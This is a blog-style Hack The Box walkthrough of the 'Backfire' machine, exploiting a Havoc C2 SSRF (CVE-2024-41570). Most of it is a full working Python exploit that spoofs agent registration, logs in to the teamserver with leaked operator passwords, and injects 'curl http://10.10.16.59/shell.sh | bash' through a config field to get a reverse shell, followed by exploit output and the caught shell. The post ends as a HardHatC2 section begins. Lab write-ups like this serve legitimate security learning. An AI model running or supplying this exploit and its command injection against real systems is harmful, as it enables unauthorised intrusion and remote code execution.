Hackthebox: Backfire

Foued SAIDI Lv4

Overview

Backfire is a medium-rated machine from Hack The Box dealing initially with some leaked Havoc C2 files that’ll allow us to exploit a Havoc C2 SSRF vulnerability where we’ll be able to open websocket connection to get a reverse shell. We’ll then find an internal instance of HardHatC2 vulnerable to an RCE 0-day from earlier 2025. Finally we are able to execute iptables-save as sudo where we can back any file we want and pwn the machine.

Backfire-info-card
Backfire-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PORT     STATE SERVICE  VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
|_http-server-header: nginx/1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=Co/stateOrProvinceName=Washington/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-11-06T09:13:16
|_Not valid after: 2027-11-06T09:13:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: 404 Not Found
8000/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-title: Index of /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that we have our usual 22 ssh port and a couple of web applications deployed both on ports 443 and 8000.

Web Application - http://10.10.11.49:8000/

The web app deployed on port 8000 is listing a directory that has a couple of files:

  • disable_tls.patch
  • havoc.yaotl
    These two files instantly seemed to me like some sort of Havoc C2 configuration files.

CVE-2024-41570 - Havoc C2 SSRF

Looking into vulnerabilities in relation with Havoc C2 and its’ configuration files, I stumbled upon this PoC for CVE-2024-41570 which is an SSRF exploited by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. I also modified the PoC a bit to make it return a reverse shell to my attacker machine:

We will also utilize the data from our leaked files for the PoC modification:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
PS C:\Users\0xkujen\Downloads> cat .\havoc.yaotl
Teamserver {
Host = "127.0.0.1"
Port = 40056

Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}

Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}

user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}

Demon {
Sleep = 2
Jitter = 15

TrustXForwardedFor = false

Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}

Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
PS C:\Users\0xkujen\Downloads> cat .\disable_tls.patch
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();

/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();

QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}

// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
 import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter

urllib3.disable_warnings()

key_bytes = 32

def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"

assert len(key) == key_bytes

iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)

plaintext = aes.decrypt(ciphertext)
return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key), key_bytes):
key = key + b"0"

assert len(key) == key_bytes

iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)

ciphertext = aes.encrypt(plaintext)
return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id

hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)

data = b"\xab" * 100

header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print(agent_header + header_data)
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"

forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)

forward_port = int_to_bytes(target_port)

package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
package_size = int_to_bytes(len(package) + 4)

header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data

print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"

data_length = int_to_bytes(len(data))

package = subcommand + socket_id + socket_type + success + data_length + data
package_size = int_to_bytes(len(package) + 4)

header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print(post_data)
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"

header_data = command + request_id

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data

print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""

command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]

return decrypt(AES_Key, AES_IV, enc_package)[12:]


def create_websocket_request(host, port):
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request


def build_websocket_frame(payload):
payload_bytes = payload.encode("utf-8")
frame = bytearray()
frame.append(0x81)
payload_length = len(payload_bytes)
if payload_length <= 125:
frame.append(0x80 | payload_length)
elif payload_length <= 65535:
frame.append(0x80 | 126)
frame.extend(payload_length.to_bytes(2, byteorder="big"))
else:
frame.append(0x80 | 127)
frame.extend(payload_length.to_bytes(8, byteorder="big"))

masking_key = os.urandom(4)
frame.extend(masking_key)
masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
frame.extend(masked_payload)

return frame


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()

magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

cmd = "curl http://10.10.16.59/shell.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

We’ll now run the exploit against the internal 40056 port related to Havoc and we’ll get a shell to our attacker machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
python3 .\exploit.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056
b'\x00\x00\x01\x02\xde\xad\xbe\xef\x00\x0em\xfc\x00\x00\x00c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0em\xfc\x00\x00\x00\x0fDESKTOP-7F61JT1\x00\x00\x00\rAdministrator\x00\x00\x00\x05ECORP\x00\x00\x00\t10.1.33.7\x00\x00\x00\x0em\x00s\x00e\x00d\x00g\x00e\x00.\x00e\x00x\x00e\x00\x00\x00\x13O\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab'
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
b'\x00\x00\x00\xcc\xde\xad\xbe\xef\x00\x0em\xfc\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc0\xc0\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E6\x19\xee&\xe0\xd1\xeb\xa3\x12\xfd\xa1\xc4o\x1d\x054?>(\x7f\xeb\xe2\xb7\xf9\xd5w\x01\x149\xea\x06\x94\x1dZ\xe1\x8c\xc5\xa0D<\x01\xbe\xed\x7f\x87%G\x1f\x91\x1c3\x89=A},A\x92%2\xa4\x82\xea\xde\x0b=k?r\x8d\xc5iYk\xb9\xab\xe1I\x01\xfd]P\x12\xf4\xc8\x85L\x9b4\xc5\xdf\x82\x1e\xd5\xa2\x9d\xc9N\x8d\xd9hK\x1f;d\x97\x8b\xcf9\x98\x18\xd4\xa3^4\xc6\x84\xa7\x95Y\xcf\x1e\x8cm\xaa\xcf\x1a{\x87\xce^\x8a\xbd]\xf6tME&\x00\x91\xd4\x05\xb3\x91\xc5\x1a\xaa\x8dF_\xf5\xbc\xe8\x9b4s\xa5\xefxe\xa2'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x01\x00\xde\xad\xbe\xef\x00\x0em\xfc\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc0\x94\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E6m(\x9d\xb4=!\x07\x80bPI\xf1\xbb\xcc\xd5\xba\xbd\xc2\xf9\x14s1Y\x01\xd3\xad\x8c\x8b\x01\x82\x0b\xaa\xeeC\x01t\x03\xb2\xf0\xe6E\n\xe3t\xf4\xca\xe7p\xa6\x9c\x15\xc8\xae\x91\xf4\xfd*\x91\xbe\nnPO\xef\xee\xb3\x81\xd9>w\xa1\xaf\x95\x05=N\xfb\xa0\x07\xe6\xed\xbdj=l\xc2j\xa4/=S\xdc<@`b\xf5`\x15\xdd\xeb\x87\xa7\xd9&l\x1a\xa4\x06\xde:L\xbf\x98Fn\x0ei\x8cv\xa1}\xbb>b\xef\xa8fx\xc3=!\x89\x02\xf9\xa9\xdb\x95\xd3\x1dr\xa1\\b9\xb6\x12!\xfd\xb2re\x19!\xb6\xc5]=\x9e\xaam \xe3I\xb0(\x9dO\xfd;\xcf"t4\xb92\xfdx\xc0/\x07\xf1\xbe\x14\x034\x9f\xe9\x8d\xb3\xf6\xa9\xa8~\xb0*\xe0<\xcb\xa4\xea\xe1e\xb1\t\x8c\xf1z\x8eq\x14\x89q'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x02\x1f\xde\xad\xbe\xef\x00\x0em\xfc\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc2s\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E7J(\x9d\xb5\x1a:\xb80\xb5K\xf6Al\xd7j\nj\xd9F\xa4\xa4*\xe6\xb1\x04\xb63;\xd6\x81\xb0\x08.J\xa3\xc5\x92\xb1UT\x92\x0f\x19\xd0^\xdcJ\xd6\x07\xd6\xf5~8\x83_W\xf9\x97\x02\xa6\xefQ\xf8\x1e"\xbf-\x16\xb2&\x0b1DO\xd3\xa9?\xfd\xe1N+\xbc\xca\xcf\xfc\xf7\x8dW\xea\x10\xb3~\xefJ\xd4\x8a}:\xf5\x7fz\xd8B+\xfd1\xa4F\x9c\xf2\x9f\xf78\x8d\xe3\xdc\xb3t,\xcbdfC\x82\xb7\xe6j\x93\xe3\xad\xda\xc4\x12AD\x01b\xdc|\xe4\xa7\xa2\x8b\x95\xee\xab\xec\x89&\xf2\xcd\xc0\xd7-\x13C\xc1re\t\xac;\\\x82=eT\xbagg\x02\xc7\xf1yg\xc1d/\t\xcc\x9d\xad\x17\xaa\xc7/=AB\xcc\x0bL:=N\xd9{\'\x1bGz\xc0\x8cO\x8e\xc6\x05\x8a\x00)\xd96\xb4\x80\xa9<\xbd \xa51v\x07\x91G\xe5w;\xf0\'\xba\xd7\x982\xc6\xc3\xc17\xe7\xfeu\xf1r\xda/\xfd\xd5\xdb0m\xd5\x87\xb0p^\xe1\x88\x98\xa0_\x9dOm\x93\x85e\xedsx(\xcb(/\xb9\x02\xd0\x8b\xc4e\xe7\xd6\x00\x9a\x02\x1dh\xbd=\xf7=\x19n|&\xa0\x1c\xc9Cr\x98\xd3\xf6\x0eY\xa1~\x955\xa3\x04\xba\x1f\x19\xba\xd8/L\xca\xf7\xf3!\xf6`]\x8d\xb7%\xa8\r\xd7\xd7\xb8&x\xc5\x13/\x85\xd1\xf5\xcf\xf4\xed\xd6\xfc\xf0\xe0\xe1\xc1\x91\xc4\xa7\xd00~\xb9 Z\xd90\xdb\x99X\x82\x86z\x8d\xdd\xcbe;\x08\xca\x08ra\x07\xc2\x04\xe5\xaa\x17\x19\'\xd1x\xb9\x12$=@\x86\xf4C\x0c;\xe9K,\x88\x82\xfd\xf1\xab\x8d\xbb\x012\x0c\x9d\xb4\xeb\xd0\xc4p\xd7TYc:\x92\xae\x00\x0e\xac\x903\xa5\x7f\xd1\x95\xc8\xf9\x0cO\x98\x96O8\xdb\xeb\xbc\x98\'\xd1\xf3\x18\xa1\x1c\x16B\x110\xa6=\xaaBiyIU\xc4\xf4\x12\xdc(\xc23\x00\xbbjg\xab`F7\xc8\xe6\xb1\xfd\x15&\xcc\x1eS\xc7Z\x96E\xcb\x94d\xa7#\xb4\x97\xd5z\x0eOz'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x03\x8b\xde\xad\xbe\xef\x00\x0em\xfc\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc3\x0f\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E5\xe6(\x9d\xb7\xa6X\x16\x15\xdc)Xd\x05\xb5\xc4/\x03\xbb\xe8\x81\xcdHH\x94m\xd4\x9d\x1e\xbf\xea\x1c)M9+\xea\xa9\x8c\xf9i\xf9c\xd3\xb2\x12\xbe\xf9\xa5\x00\xfd\x17~\x01\xb8\xb9r\x9a\xfb\xbe\xd5\x80)D5G\xdf\xe2\x14\xdaQ\xb8;jv9\xcb_\xe1\x1bk@\xdch\x96\x95\x9c!r\x9e\x0f7[\x90|C\xa1\x0e\x19\t&\x13\xf2\xa3\'\xd8yH\x7f\xff\xaez\x90/\xadM\xfb\xb2Y\xad\xb87H\xb3\xee\x8e\xd1\x89\xf2\x84\xac#\xa2:n\xa6j\x19\xfd\x85\x84\x8a\x9bi\xe1\x83\x87}\xe0C\x90a\x95\x8d\x1f\x80J\xab\x1b\xccz\x96\x16\xbe\xcfB\x0e\xf8\xc8rI\xdc\xad\xcaO\xaa\xabC\x03\xd9\xf1\x95\x81\xe1\xd4\xfe3\x9d~)\xa2\xf5HFD\xea\xe5\x1bH\xdc;B\x897r\xfb\x8b\xab\xaf\x15\x07\x07A\x92\xba^\x19\xb1\x0c6T6x>#\xc3A\xd2\xef\r\x8e*\x84[\xc6,\xb2d\x96V\n\xb9\x0c%S\xd5\xf9m;S\xfeW\xd7\x19><\xf9\xb0\x96\xa4\xebX\x17N\xf2\x02\x96\xdf\x07\x1d\x90\x86\x1c\xd0\x1e\t\x9f\xfe(7\x95\x15\x8d\xe7zE\x92\xb1\xd2mU\xddby\xd5\xb5\x99_g"\x8f\xacJ\xc2\xb4\x15\xf9\xc0\xd63\x89\xf5:\xe1\xab\x8aQ\xee\xcerJ\xf1v\xf3\xbe\xd0V\x1d(\xb5\xd8\x12ED\xf9\xf3}\xa8\x9f\x15\xb5\xea\xb68\xd1\xca\xaa<\x8d\x97\xc6N\xa8\x0bSH=\'\xb3\x8f\xee\x8fc3\xbe\x1d\xe7`\x9b5f\x91\xdc&_\xf8/\xa9hB\xc44:\xda\x86\x03\xa9\xe6\x17B6&\x9d7\x02\xdb\xbfc\x08g\x89\xdf\xf6Y\xef\x91(\xddC\xf4\x91I\x89\xadqP1Y+\x9f\xf9\x93`\xba\xf5\xea|U\x15\xe2\xc6#\xf1nnh\xfa3\x1fl\x9a\x8a\xb4\xa1\xf4\xee5Sp\x7f*\xbc\x1f\xd8G\x02k\x01}\xb1<\xa6\xe8\xb2\xf5?\x9a\xd4h\x97\n\xaf\x8cxq\xd3\xa1\xd5\x89\x0c!9\xed\xf13\xd0OqY\xf2\xf4\xac\xfe4\xe3\t\xd5.l\xbc\x0f\xdb\xba\x0c\x84"\xf80n\x86O[\xe4\xdaTw}$\t\xbcZ\x8a\x14\xb1\xfcT{fA\xf1p:Q\xb5!7d\x80"\x17\x95\x86\xde\xac!\xe3\xf1\xde\xd7\x84S\x8e\xe9x\xde\x8f\xd4B\x0bw\xf9\xe8\xf6\t\x12\x91x\xd1\xaf\xfd\xe3e\x9du\xf3\x04\x16\xe2\x04\xfdADV>\xc7 \x89\xa1\x0c-\xa67\xb0\xea\xff\xfc\x82B0^\x0ct\xc9\xe2\xc1\x9dG\xd1\xdfl\x7f\x8b"\xbb!\x1a\x9bo\xcb\xb7}H<\x1f@X\xbb\t\t^wM4\xb1IF\xe9r\xee\xcb\xcd\xdc\xc8Vd\xa3i\x00,\x07`C\xd6\xb9w\x1c\xa2u\xf9$\xda\xec\x8d\xe7~{\x12\x9a\x0c\xa6\x1f\x1buC\x9c\x9f:=\xde\x9f\xbe!\x87<\x0f\xe4\x86\xe3E6%\xf9\xb6\xf5A6J\xae\x88\xdcZ\x8e\xb0\xa9\x08\xac\xa3\xfc\x82<\x1aqg\xc6\xd4~\x85\xa2~\xba\x13\xfc]\xbe\xf3\xba6\xe4\x0c?|\x84i\xa0Z\xd9\x17\xb1q\x98z\x91\xb0\x96a]*\x85\x0f\x03\xac\xad.\xacC\xa7\xf6\r\xb3\x1bT\x01\x1f;8\xb42E,\x8b\x93g\xc5\xf7\xd3\x00\xea\xe1U\x83\x14\x0b\x87%\xbd\t\x0c\x87\x0fJ.\x9a\xa1\x1d\xc6|Z\x06(x\xdba\x0fE\xaa\x861/\xab\xb1\xe2\xe7\xb7\x0f\x9a\x95\x88\x01.\x8a\xa2\xa3\x95iW\x10[\xa8I\x81d\xb6\xe7\x02ZN\xea\x12\xf4/\xee\x8d\xef\xc6\x84\x901\x90("j\x1bM\xcd\xbc\x94L\xdf\xda\x8d|{\xcf\xb7\xe7'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

And we are in:

1
2
3
4
5
6
7
8
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.59] from (UNKNOWN) [10.10.11.49] 34708
bash: cannot set terminal process group (10318): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$ id
id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

We’ll just echo our public key inside the user’s authorized_keys file for ease of access through ssh.

HardHat C2 RCE 0-Day

On ilya‘s home directory we found this note:

1
2
3
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

This indicates that there is an instance of HardHatC2 that has been installed by user Sergej.
Looking at our internal ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ilya@backfire:~$ netstat -anot
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:43680 TIME_WAIT timewait (50.19/0/0)
tcp 0 0 127.0.0.1:57840 127.0.0.1:40056 ESTABLISHED keepalive (1.19/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:43704 TIME_WAIT timewait (52.75/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:35172 TIME_WAIT timewait (48.78/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:43724 TIME_WAIT timewait (55.26/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:43690 TIME_WAIT timewait (51.53/0/0)
